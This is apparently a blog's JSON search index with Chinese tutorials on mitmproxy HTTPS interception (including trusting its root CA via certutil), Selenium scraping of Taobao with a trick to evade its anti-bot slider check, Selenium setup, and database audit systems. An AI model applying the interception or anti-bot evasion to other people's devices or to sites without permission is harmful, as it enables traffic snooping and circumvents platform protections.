从京东APP上访问京东金榜也是同样的效果。\n至此，本文从环境准备到数据分析到代码实现，通过mitmdump爬取京东金榜排行数据进行mitmproxy爬取数据的实战。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-29-mitmproxy%E5%AE%9E%E6%88%98-%E9%80%9A%E8%BF%87mitmdump%E7%88%AC%E5%8F%96%E4%BA%AC%E4%B8%9C%E9%87%91%E6%A6%9C%E6%8E%92%E8%A1%8C%E6%95%B0%E6%8D%AE/","summary":"\u003cp\u003e\u003cimg alt=\"mitmproxy\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240304/0-mitmproxy.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e对于APP的数据爬取或需要构建复杂的接口参数数据的爬取可以通过mitmproxy抓包还原流量，解析流量数据包来获取。mitmproxy是一个免费的开源交互式的HTTPS代理工具。它类似于其他抓包工具如WireShark和Fiddler，支持抓取HTTP和HTTPS协议的数据包，并可以通过控制台形式进行操作。mitmproxy具有两个非常有用的组件：mitmdump和mitmweb。mitmdump是mitmproxy的命令行接口，可以直接抓取请求数据。\u003c/p\u003e","title":"mitmproxy实战-通过mitmdump爬取京东金榜排行数据"},{"content":"mitmproxy是一个免费的开源交互式的HTTPS代理工具。它类似于其他抓包工具如WireShark和Fiddler，支持抓取HTTP和HTTPS协议的数据包，并可以通过控制台形式进行操作。mitmproxy具有两个非常有用的组件：mitmdump和mitmweb。mitmdump是mitmproxy的命令行接口，可以直接抓取请求数据，而mitmweb是一个web程序，可以清楚地观察mitmproxy抓取的请求数据。\n此外，mitmproxy的特点之一是它支持Python自定义脚本，这使得mitmproxy的使用更加灵活和强大。通过安装mitmproxy，用户可以实时查看、记录、修改数据，引发服务端或客户端的特定行为。mitmproxy是一个功能强大的抓包工具，具有广泛的应用场景，如网络调试、安全测试、数据分析等。\n本文介绍mitmproxy的安装与配置，通过mitmproxy代理进行抓包。\n一、mitmproxy的安装 首先需要安装好python，版本需要不低于3.6，且安装了附带了包管理工具pip 在命令行中输入pip install mitmproxy，等待安装完成。 安装完成后，系统将拥有mitmproxy、mitmdump、mitmweb三个命令，可以通过mitmdump检查一下mitmproxy是否安装成功了。 二、运行mitmproxy 要启动 mitmproxy 用 mitmproxy、mitmdump、mitmweb 这三个命令中的任意一个即可，这三个命令功能一致，且都可以加载自定义脚本，唯一的区别是交互界面的不同。\n启动mitmproxy后，客户端要配置指定通过mitmproxy代理来访问目标网站的服务资源。 1、配置客户端代理 运行mitmproxy默认代理的端口是8080，所以要配置浏览器通过mitmproxy代理来访问目标网站。\n方式一，设置全局代理 设置全局代理，在window中找到网络和Internet，点击手动设置代理，将使用代理服务器的开关打开，设置代理IP地址为127.0.0.1，端口为8080 方式二，设置浏览器代理 通过浏览器插件设置浏览器代理，如chrome浏览器可以通过SwitchyOmega插件设置代理 通过mitmproxy命令启动mitmproxy后通过设置代理后的浏览器访问http://xiejava.ishareread.com，可以看到通过mitmproxy代理后的访问流量日志。 2、客户端安装mitmproxy提供的CA证书 对于访问https加密的网站需要证书才能解密，所以客户端需要安装mitmproxy提供的CA证书。 通过mitmporxy代理浏览器访问http://mitm.it/将显示mitmproxy证书下载和安装指导页面 可以看到mitmproxy提供了各种操作系统的CA证书，点击\u0026quot;Show Instructions\u0026quot;,将显示证书的安装指导，可以根据指导一步步安装成功。 对于Windows系统：\n手工安装步骤： 双击mitmproxy提供的CA证书文件（通常是mitmproxy-ca.p12）。 在出现的导入证书引导页中，直接点击“下一步”按钮。 接下来会出现密码设置提示，这里不需要设置密码，直接点击“下一步”按钮。 选择证书的存储区域。通常选择“将所有的证书都放入下列存储”，然后点击“浏览”按钮，选择证书存储位置为“受信任的根证书颁发机构”，接着点击“确定”按钮。 点击“下一步”按钮完成证书的导入。 如果有安全警告弹出，直接点击“是”按钮即可。 自动安装步骤： 在window中用管理员权限运行PowerShell，在命令行控制台，进去到证书的目录，一般是在c:\\Users\\yourname.mitmproxy目录下。执行 certutil.exe -addstore root mitmproxy-ca-cert.cer 如下图所示。 安装好证书后，通过mitmproxy代理，我们来访问https协议的网站https://www.taobao.com。可以在后台看到mitmproxy抓取的https流量日志 至此，我们成功安装了mitmproxy,并配置了相应的CA证书，通过mitmporxy代理能够获取访问http和https网站的流量数据。后续我们将通过一个实例来进行mitmproxy抓包爬取京东APP的金榜排行的数据信息。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-29-mitmproxy%E5%AE%89%E8%A3%85%E4%B8%8E%E9%85%8D%E7%BD%AE/","summary":"\u003cp\u003emitmproxy是一个免费的开源交互式的HTTPS代理工具。它类似于其他抓包工具如WireShark和Fiddler，支持抓取HTTP和HTTPS协议的数据包，并可以通过控制台形式进行操作。mitmproxy具有两个非常有用的组件：mitmdump和mitmweb。mitmdump是mitmproxy的命令行接口，可以直接抓取请求数据，而mitmweb是一个web程序，可以清楚地观察mitmproxy抓取的请求数据。\u003c/p\u003e","title":"mitmproxy安装与配置"},{"content":"现在很多网站要获取数据都得要先登录。Selenium是一个用于Web应用程序测试的自动化工具。它直接运行在浏览器中，模拟真实用户的操作。本文介绍如何通过Selenium来登录淘宝并自动爬取商品信息。 关于Selenium的安装与配置请参考博文《Selenium安装与配置》\n一、通过Selenium模拟登录淘宝 现在要获取淘宝的商品信息需要先登录淘宝。我们先来分析淘宝的登录页面。\n1、分析淘宝登录页面 淘宝登录页面为https://login.taobao.com/member/login.jhtml，支持扫描登录和用户名、密码验证登录。我们模拟用户名、密码登录。 通过Chrome浏览器输入淘宝登录页面链接F12打开开发者工具，分析淘宝登录页的源代码，找到登录账号、登录密码和登录按钮的相关控件的源代码 在这里可以看到 账号名的输入框控件代码:\u0026lt;input name=\u0026quot;fm-login-id\u0026quot; type=\u0026quot;text\u0026quot; class=\u0026quot;fm-text\u0026quot; id=\u0026quot;fm-login-id\u0026quot; tabindex=\u0026quot;1\u0026quot; aria-label=\u0026quot;账号名/邮箱/手机号\u0026quot; placeholder=\u0026quot;账号名/邮箱/手机号\u0026quot; autocapitalize=\u0026quot;off\u0026quot; data-spm-anchor-id=\u0026quot;a2107.1.0.i1.3e3e11d9pGQKXf\u0026quot;\u0026gt; 登录密码的输入框控件代码：\u0026lt;input name=\u0026quot;fm-login-password\u0026quot; type=\u0026quot;password\u0026quot; class=\u0026quot;fm-text\u0026quot; id=\u0026quot;fm-login-password\u0026quot; tabindex=\u0026quot;2\u0026quot; aria-label=\u0026quot;请输入登录密码\u0026quot; placeholder=\u0026quot;请输入登录密码\u0026quot; maxlength=\u0026quot;40\u0026quot; autocapitalize=\u0026quot;off\u0026quot; data-spm-anchor-id=\u0026quot;a2107.1.0.i2.3e3e11d9pGQKXf\u0026quot;\u0026gt; 登录按钮的控件代码：\u0026lt;button type=\u0026quot;submit\u0026quot; tabindex=\u0026quot;3\u0026quot; class=\u0026quot;fm-button fm-submit password-login\u0026quot; data-spm-anchor-id=\u0026quot;a2107.1.0.i3.3e3e11d9pGQKXf\u0026quot;\u0026gt;登录\u0026lt;/button\u0026gt; 找到登录需要用的的这几个关键控件代码都就可以开始编码来控制这些控件进行模拟操作了。\n2、通过Selenium实现模拟登录代码 具体代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from selenium.webdriver import Chrome from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.common import TimeoutException driver=Chrome() wait = WebDriverWait(driver, 10) # 模拟淘宝登录 def login_taobao(): print(\u0026#39;开始登录...\u0026#39;) try: login_url=\u0026#39;https://login.taobao.com/member/login.jhtml\u0026#39; driver.get(login_url) input_login_id = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-id\u0026#39;))) input_login_password = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-password\u0026#39;))) input_login_id.send_keys(\u0026#39;your account\u0026#39;) # 用你自己的淘宝账号替换 input_login_password.send_keys(\u0026#39;your password\u0026#39;) # 用你自己的密码替换 submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit.password-login\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) return is_loging except TimeoutException: print(\u0026#39;login_taobao TimeoutException\u0026#39;) submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) if is_loging: return is_loging else: login_taobao() if __name__ == \u0026#39;__main__\u0026#39;: is_loging=login_taobao() if is_loging: print(\u0026#39;已经登录\u0026#39;) 运行代码后可以看到程序自动的调起了一个Chrome浏览器并访问了淘宝的登录页面，自动的输入了用户淘宝账号和密码，自动的点击了登录按钮，但出现了一个滑动验证的控件，要求滑动验证。 人工拖动滑动验证控件，显示验证失败。 这是因为淘宝有一套反爬机制识别是否是机器自动在登录。如果是人工打开浏览器，手工输入账号密码登录就不会弹出滑动验证控件进行验证。在网上有很多办法，如可以通过代理修改chormdriver的识别码，这里介绍通过Selenium如何接管已经运行的Chrome浏览器来实现规避淘宝的验证。\n3、Selenium接管已经运行的Chrome浏览器 1）启动Chrome的远程调试模式 通过 chrome.exe --remote-debugging-port=9222 --user-data-dir='某个存在的文件夹地址' 启动Chrome的远程调试模式，启动一个Chrome浏览器。 找到chrome的安装目录，找到chrome.exe ，通过cmd命令行执行上面的命令。 运行上面命令后，就会弹出一个chrome浏览器，这个浏览器是可以被Selenium来接管操作的。\n2）代码中实现接管已经运行的Chrome浏览器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from selenium.webdriver import Chrome from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.common import TimeoutException chrome_options = Options() chrome_options.add_experimental_option(\u0026#34;debuggerAddress\u0026#34;, \u0026#34;localhost:9222\u0026#34;) #此处端口保持和命令行启动的端口一致 driver = Chrome(options=chrome_options) wait = WebDriverWait(driver, 10) # 模拟淘宝登录 def login_taobao(): print(\u0026#39;开始登录...\u0026#39;) try: login_url=\u0026#39;https://login.taobao.com/member/login.jhtml\u0026#39; driver.get(login_url) input_login_id = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-id\u0026#39;))) input_login_password = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-password\u0026#39;))) input_login_id.send_keys(\u0026#39;your account\u0026#39;) # 用你自己的淘宝账号替换 input_login_password.send_keys(\u0026#39;your password\u0026#39;) # 用你自己的密码替换 submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit.password-login\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) return is_loging except TimeoutException: print(\u0026#39;login_taobao TimeoutException\u0026#39;) submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) if is_loging: return is_loging else: login_taobao() if __name__ == \u0026#39;__main__\u0026#39;: is_loging=login_taobao() if is_loging: print(\u0026#39;已经登录\u0026#39;) 4、运行效果 运行上述代码就可以看到，Selenium接管了这个通过Chrome的远程调试模式启动的浏览器，并自动输入用户名和密码，自动登录成功，跳转到我的淘宝界面。 二、通过Selenium自动爬取淘宝商品信息 1、分析商品页面 https://s.taobao.com/search?page=1\u0026amp;q=ipad\u0026amp;tab=all 通过Chrome浏览器输入淘宝搜索商品页面链接F12打开开发者工具，分析淘宝搜索商品列表页的源代码，找到商品展示相关源代码包括商品的title、价格、详情页、购买情况等。我们需要通过解析这些源代码获取相应的商品信息。 找到下一页翻页的按钮，我们需要控制下一页翻页的按钮来实现自动翻页。 2、实现商品获取代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # 解析获取商品信息 def get_products(): \u0026#34;\u0026#34;\u0026#34;提取商品数据\u0026#34;\u0026#34;\u0026#34; html = driver.page_source doc = pq(html) items = doc(\u0026#39;.Card--doubleCardWrapper--L2XFE73\u0026#39;).items() for item in items: product = {\u0026#39;url\u0026#39;: item.attr(\u0026#39;href\u0026#39;), \u0026#39;price\u0026#39;: item.find(\u0026#39;.Price--priceInt--ZlsSi_M\u0026#39;).text(), \u0026#39;realsales\u0026#39;: item.find(\u0026#39;.Price--realSales--FhTZc7U-cnt\u0026#39;).text(), \u0026#39;title\u0026#39;: item.find(\u0026#39;.Title--title--jCOPvpf\u0026#39;).text(), \u0026#39;shop\u0026#39;: item.find(\u0026#39;.ShopInfo--TextAndPic--yH0AZfx\u0026#39;).text(), \u0026#39;location\u0026#39;: item.find(\u0026#39;.Price--procity--_7Vt3mX\u0026#39;).text()} print(product) # 自动获取商品信息并自动翻页 def index_page(url,cur_page,max_page): print(\u0026#39; 正在爬取：\u0026#39;+url) try: driver.get(url) get_products() next_page_btn = wait.until(EC.element_to_be_clickable((By.XPATH, \u0026#39;//button/span[contains(text(),\u0026#34;下一页\u0026#34;)]\u0026#39;))) next_page_btn.click() do_change = wait.until(EC.url_changes(url)) if do_change and cur_page\u0026lt;max_page: new_url=driver.current_url cur_page = cur_page + 1 index_page(new_url,cur_page,max_page) except TimeoutException: print(\u0026#39;---index_page TimeoutException---\u0026#39;) 3、实现效果 从浏览器看，Selenium自动访问淘宝登录页，当切到用户名密码登录界面时，Selenium自动输入用户名、密码点击登录。登录成功后，自动访问商品搜索页搜索ipad,进行商信息获取，自动翻下一页。 从后台打印的日志看，显示“开始登录”、“已经登录”，正在爬取的链接和该链接下的商品信息。 至此，通过Selenium来代码实现模拟登录淘宝并自动爬取商品信息，进行了Selenium的实战。 要注意的是：\n1、在Selenium打开登录页面后淘宝默认的是扫码登录，需要人为接入切换用户密码模式。这时也可以让Selenium自动去切到用户密码模式登录。代码如下： change_type=wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, \u0026lsquo;.iconfont.icon-password\u0026rsquo;))) change_type.click() #切换到用户密码模式登录 2、在运行启动Chrome的远程调试模式，启动Chrome浏览器后，要关闭其他的Chrome浏览器，保留远程调试模式启动的浏览器就好了。如果是存在多个Chrome浏览器Selenium会不知道要接管哪一个。\n附上全部完整代码： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from selenium.webdriver import Chrome from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.common import TimeoutException from urllib.parse import quote from pyquery import PyQuery as pq chrome_options = Options() chrome_options.add_experimental_option(\u0026#34;debuggerAddress\u0026#34;, \u0026#34;localhost:9222\u0026#34;) #此处端口保持和命令行启动的端口一致 driver = Chrome(options=chrome_options) wait = WebDriverWait(driver, 10) # 模拟淘宝登录 def login_taobao(): print(\u0026#39;开始登录...\u0026#39;) try: login_url=\u0026#39;https://login.taobao.com/member/login.jhtml\u0026#39; driver.get(login_url) change_type=wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, \u0026#39;.iconfont.icon-password\u0026#39;))) change_type.click() #切换到用户密码模式登录 input_login_id = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-id\u0026#39;))) input_login_password = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-password\u0026#39;))) input_login_id.send_keys(\u0026#39;your account\u0026#39;) # 用你自己的淘宝账号替换 input_login_password.send_keys(\u0026#39;your password\u0026#39;) # 用你自己的密码替换 submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit.password-login\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) return is_loging except TimeoutException: print(\u0026#39;login_taobao TimeoutException\u0026#39;) submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) if is_loging: return is_loging else: login_taobao() # 解析获取商品信息 def get_products(): \u0026#34;\u0026#34;\u0026#34;提取商品数据\u0026#34;\u0026#34;\u0026#34; html = driver.page_source doc = pq(html) items = doc(\u0026#39;.Card--doubleCardWrapper--L2XFE73\u0026#39;).items() for item in items: product = {\u0026#39;url\u0026#39;: item.attr(\u0026#39;href\u0026#39;), \u0026#39;price\u0026#39;: item.find(\u0026#39;.Price--priceInt--ZlsSi_M\u0026#39;).text(), \u0026#39;realsales\u0026#39;: item.find(\u0026#39;.Price--realSales--FhTZc7U-cnt\u0026#39;).text(), \u0026#39;title\u0026#39;: item.find(\u0026#39;.Title--title--jCOPvpf\u0026#39;).text(), \u0026#39;shop\u0026#39;: item.find(\u0026#39;.ShopInfo--TextAndPic--yH0AZfx\u0026#39;).text(), \u0026#39;location\u0026#39;: item.find(\u0026#39;.Price--procity--_7Vt3mX\u0026#39;).text()} print(product) # 自动获取商品信息并自动翻页 def index_page(url,cur_page,max_page): print(\u0026#39; 正在爬取：\u0026#39;+url) try: driver.get(url) get_products() next_page_btn = wait.until(EC.element_to_be_clickable((By.XPATH, \u0026#39;//button/span[contains(text(),\u0026#34;下一页\u0026#34;)]\u0026#39;))) next_page_btn.click() do_change = wait.until(EC.url_changes(url)) if do_change and cur_page\u0026lt;max_page: new_url=driver.current_url cur_page = cur_page + 1 index_page(new_url,cur_page,max_page) except TimeoutException: print(\u0026#39;---index_page TimeoutException---\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: is_loging=login_taobao() if is_loging: print(\u0026#39;已经登录\u0026#39;) KEYWORD = \u0026#39;iPad\u0026#39; url = \u0026#39;https://s.taobao.com/search?page=1\u0026amp;q=\u0026#39; + quote(KEYWORD) + \u0026#39;\u0026amp;tab=all\u0026#39; max_page=10 index_page(url,1,max_page) 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-26-selenium%E5%AE%9E%E6%88%98-%E6%A8%A1%E6%8B%9F%E7%99%BB%E5%BD%95%E6%B7%98%E5%AE%9D%E5%B9%B6%E7%88%AC%E5%8F%96%E5%95%86%E5%93%81%E4%BF%A1%E6%81%AF/","summary":"\u003cp\u003e现在很多网站要获取数据都得要先登录。Selenium是一个用于Web应用程序测试的自动化工具。它直接运行在浏览器中，模拟真实用户的操作。本文介绍如何通过Selenium来登录淘宝并自动爬取商品信息。\n关于Selenium的安装与配置请参考博文《\u003ca href=\"http://xiejava.ishareread.com/posts/8370b2b6/\"\u003eSelenium安装与配置\u003c/a\u003e》\u003c/p\u003e","title":"Selenium实战-模拟登录淘宝并爬取商品信息"},{"content":"Selenium是一个用于Web应用程序测试的自动化工具。它直接运行在浏览器中，模拟真实用户的操作。Selenium支持多种主流浏览器，如IE、Mozilla Firefox、Safari、Google Chrome、Opera和Edge等。在爬取数据的时候对于需要登录后才能爬取的情况往往可以利用Selenium来进行模拟登录，登录后进行数据的获取。这里先介绍Selenium的安装与配置，实现通过python来驱动浏览器进行操作。\n一、selenium安装 要安装Selenium，首先需要具备Python开发环境。以下是安装Selenium的步骤：\n1. Python环境准备： 打开Python官网：https://www.python.org/downloads/，下载适合你操作系统的Python版本。 安装Python。在window下安装python环境非常简单，直接下一步下一步就可以安装完成。安装过程中，确保将Python添加到环境变量中，以便在命令行中运行Python命令。 安装完成后，可以在命令行中输入python --version来验证Python是否安装成功，并查看版本号。 2. 安装Selenium： 在命令行中，使用pip（Python的包管理工具）来安装Selenium。输入以下命令并按回车键执行： 如果你的系统有多个Python版本，可能需要使用pip3代替pip。 1 pip install selenium 3. 浏览器驱动安装： Selenium支持多种浏览器，但每种浏览器都需要相应的驱动程序。例如，对于Chrome浏览器，你需要下载ChromeDriver。 ○ 访问ChromeDriver的下载页面：https://sites.google.com/a/chromium.org/chromedriver/，选择与你的Chrome浏览器版本相对应的ChromeDriver版本。 ○ 国内镜像下载站点 https://registry.npmmirror.com/binary.html?path=chromedriver/ 高版本的ChromeDriver可以在https://chromedriver.com/download 下载 下载后，解压（如果需要的话），并将ChromeDriver的路径添加到系统环境变量中，或者将其放在你的项目目录中。比如我的是放到 C:\\python\\Scripts 并将C:\\python\\Scripts配置到了系统环境变量中。 4. 验证安装： 参考selenium的官方文档，创建一个简单的Python脚本，使用Selenium打开浏览器并访问一个网页。 运行这个脚本。如果一切顺利，它会打开Chrome浏览器并导航到指定的URL，然后关闭浏览器。 代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from selenium import webdriver from selenium.webdriver.common.by import By driver = webdriver.Chrome() driver.get(\u0026#34;https://www.selenium.dev/selenium/web/web-form.html\u0026#34;) title = driver.title driver.implicitly_wait(0.5) text_box = driver.find_element(by=By.NAME, value=\u0026#34;my-text\u0026#34;) submit_button = driver.find_element(by=By.CSS_SELECTOR, value=\u0026#34;button\u0026#34;) text_box.send_keys(\u0026#34;Selenium\u0026#34;) submit_button.click() message = driver.find_element(by=By.ID, value=\u0026#34;message\u0026#34;) text = message.text driver.quit() 效果如下： 打开一个浏览器，访问https://www.selenium.dev/selenium/web/web-form.html 对浏览器中的元素进行操作，最后关闭浏览器。 请注意，由于Selenium和浏览器驱动程序可能会定期更新，因此在安装和配置过程中，最好参考最新的官方文档和指南。\n二、常见问题 在安装Selenium的过程中，可能会遇到一些常见的问题\n1. Selenium版本与浏览器驱动程序不兼容： 问题：安装的Selenium版本与浏览器驱动程序版本不兼容。 解决方案：检查Selenium和浏览器驱动程序的版本，确保它们相互兼容。通常，Selenium的最新版本会支持最新的浏览器驱动程序。如果需要，可以降级或升级Selenium或浏览器驱动程序以确保兼容性。 2. 浏览器驱动程序路径未正确设置： 问题：浏览器驱动程序的路径未正确设置，导致Selenium无法找到驱动程序。 解决方案：确保将浏览器驱动程序的路径添加到系统环境变量中，或者在Selenium代码中明确指定驱动程序的路径。例如，对于ChromeDriver，可以在代码中这样设置： 1 2 from selenium import webdriver driver = webdriver.Chrome(executable_path=\u0026#39;/path/to/chromedriver\u0026#39;) 后续我们将实战通过selenium来实现登录到淘宝并获取淘宝的商品信息。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-23-selenium%E5%AE%89%E8%A3%85%E4%B8%8E%E9%85%8D%E7%BD%AE/","summary":"\u003cp\u003eSelenium是一个用于Web应用程序测试的自动化工具。它直接运行在浏览器中，模拟真实用户的操作。Selenium支持多种主流浏览器，如IE、Mozilla Firefox、Safari、Google Chrome、Opera和Edge等。在爬取数据的时候对于需要登录后才能爬取的情况往往可以利用Selenium来进行模拟登录，登录后进行数据的获取。这里先介绍Selenium的安装与配置，实现通过python来驱动浏览器进行操作。\u003c/p\u003e","title":"Selenium安装与配置"},{"content":"随着企业业务数据量的不断增长和数据存储的集中化，数据库成为企业的核心资产之一。然而，数据库面临着各种安全威胁，如SQL注入、权限滥用、数据泄露等。为了保障数据库的安全性和完整性，企业需要采取有效的审计措施来监控和记录数据库的操作行为。本文让我们一起来认识数据库审计系统。\n一、什么是数据库审计系统 数据库审计系统是通过对所有访问数据库操作行为的审计，详细记录用户对数据库进行增删改查、查询、登录等操作行为及返回结果，通过配置安全规则实现对危险操作的实时告警和事后追溯，从而达到保护数据库安全的防护效果的审计产品。通常黑客的SQL注入攻击行为，也可以通过数据库审计发现。\n数据库审计系统具备实时监测并智能地分析、还原各种数据库操作过程的功能。它还能根据设置的规则，智能地判断出违规操作数据库的行为，并对违规行为进行记录、报警，甚至阻断攻击行为。\n数据库审计系统的主要价值在于：\n在发生数据库安全事件（例如数据篡改、泄露）后，为事件的追责定责提供依据。 针对数据库操作的风险行为进行时时告警，帮助管理人员对用户的行为一目了然，真正做到数据库操作行为可监控，违规操作可追溯。 此外，数据库审计系统还可以帮助用户事后生成合规报告，提高数据资产安全。它是数据库安全技术之一，与数据库漏扫、数据库加密、数据库防火墙、数据脱敏等技术共同构成了数据库安全体系。\n二、为什么需要数据库审计系统 数据库审计系统产生的背景主要基于以下几个方面的需求和发展趋势：\n数据安全风险增加：随着企业业务数据量的不断增长和数据存储的集中化，数据库成为企业的核心资产之一。然而，数据库面临着各种安全威胁，如SQL注入、权限滥用、数据泄露等。为了保障数据库的安全性和完整性，企业需要采取有效的审计措施来监控和记录数据库的操作行为。 法规政策要求：随着数据保护法规的日益严格，如GDPR（通用数据保护条例）等，企业需要确保数据库操作符合法规要求，并能够提供合规的审计日志。数据库审计系统能够帮助企业满足这些法规要求，提供合规的审计证据。 业务需求推动：企业为了保障业务连续性和数据安全，需要对数据库操作进行严格的控制和审计。例如，企业需要监控敏感数据的访问和操作，确保只有授权的用户能够执行特定的操作。数据库审计系统能够提供细粒度的审计和监控功能，满足企业的业务需求。 技术发展推动：随着数据库技术的不断发展和创新，如云计算、大数据等技术的广泛应用，数据库审计系统也需要不断升级和完善，以适应新的技术环境和安全挑战。 基于数据安全风险增加、法规政策要求、业务需求推动和技术发展推动等因素。企业需要采用有效的数据库审计系统来监控和记录数据库操作行为，保障数据的安全性和合规性，同时满足业务需求和技术发展要求。 三、数据库审计系统的主要功能 数据库审计的主要功能在于对数据库的访问行为进行监管，通过镜像或探针的方式采集所有数据库的访问流量，记录下数据库的所有访问和操作行为，在发生数据库安全事件（例如数据篡改或泄露）后为事件的追责提供依据，并针对数据库操作的风险行为进行告警。 1、实时监控与访问审计 数据库审计系统可实时监控防护数据库系统，防止运维人员、黑客、内部人员的危险操作。当用户访问数据库时，数据库审计系统能够根据内置或者自定义的风险告警规则，进行行为特征及审计规则匹配，任何对数据库的攻击或触发审计规则的操作都会被审计系统记录并实时告警。 2、审计记录检索 数据库审计系统通过各种条件组合的方式进行查询，能够快速精确地定位到某条审计记录。这些组合条件包括操作语句、MAC地址、客户端IP、数据库信息、时间、返回结果等内容。 3、丰富的安全审计报表 数据库审计系统具备功能强大的报表功能，根据审计检索的条件可以导出合规报表和自定义安全报表。 4、安全事件回放 允许安全管理员提取历史数据，对过去某一时段的事件进行回放，真实展现当时的完整数据库操作过程，便于分析和追溯系统安全问题。 5、风险触发实时告警 一旦出现违反数据库安全审计规则的操作，数据库审计系统通常可以配置多种告警方式，包括通过手机短信、邮件、SYSLOG、SNMP等发送到对应运维或者管理人员手中。\n四、数据库审计系统的原理 数据库审计系统的原理主要是基于数据库协议标准分析和SQL解析技术，通过旁路部署的方式，镜像或探针采集所有数据库的访问流量，然后对这些流量进行深度解析和审计。 具体来说，数据库审计系统通过获取访问数据库的报文，对报文进行深度解析，提取出针对数据库的操作信息，如访问数据库的IP、账号、时间、操作类型、操作对象以及返回结果等。然后，系统根据预设的审计策略，对这些操作信息进行风险识别，判断是否存在违规操作或安全威胁。如果存在违规行为，系统会实时发出告警，并记录相关审计日志，以便后续分析和追溯。 此外，数据库审计系统还可以根据需要对审计记录进行检索和分析，提供丰富的查询条件和统计分析功能，帮助管理员快速定位问题和追根溯源。同时，系统还可以生成合规报告，帮助用户满足相关的法规要求。 综上所述，数据库审计系统的原理主要是通过采集、解析和审计数据库访问流量，识别违规操作和安全威胁，提供实时告警和审计记录查询功能，确保数据库的安全性和合规性。\n五、数据库审计系统的部署方式 1、常规部署（硬件形式旁路部署） 数据库审计系统采用旁路部署时，硬件设备与交换机直连，通过交换机把数据库的访问流量镜像到某个端口，流量直接发送到数据库审计系统的网卡驱动，审计系统需要对流量进行捕获并解析处理。 2、软件部署（软件形式虚拟化部署） 通过插件引流的模式在目标数据库安装agent，解决云环境、虚拟化环境内部流量无法镜像的问题，这种场景下数据库审计系统依旧可以获取网卡的流量，保证正常审计。 3、分布式部署 分布式部署分为中心节点和子节点，审计中心统一负责数据库审计日志数据的存储和分析，审计子节点作为探针负责数据库操作日志的采集、解析和审计，一个审计中心可管理多个审计子节点。另一种模式是单独一个审计管理平台，其他子节点都是正常的审计设备，一个平台实现运维管理和运行监控，适用大型企业单位的分布式部署场景。\n六、数据库审计系统如何确保数据安全性 实时监控与审计：数据库审计系统能够实时监控数据库的所有操作行为，包括访问、修改、删除等。这种实时监控可以确保对数据库的所有活动都有详细的记录，从而能够及时发现并应对任何潜在的安全威胁。 违规操作检测与告警：系统能够智能地分析并识别出违规操作，如非法越权访问、数据篡改等，并实时发出告警。这有助于管理员及时采取应对措施，防止数据泄露或损坏。 审计策略管理：系统支持灵活的审计策略设定，可以根据需要对登录用户、数据库表名、字段名及关键字等内容进行多种条件组合的规则设定。这种策略管理可以帮助管理员精确地控制哪些操作需要被审计，从而提高审计效率。 审计记录检索与分析：系统提供丰富的审计查询条件和细致的统计分析条件，支持以地址、性能消耗、语句数量等多种条件在海量数据中快速检索审计记录。这有助于管理员快速定位问题，找出潜在的安全风险。 合规报告与事故追根溯源：通过对用户访问数据库行为的记录、分析和汇报，系统可以帮助用户生成合规报告，以及在发生数据安全事故时进行追根溯源，明确责任。这有助于组织满足合规性要求，同时也有助于防止类似事件再次发生。 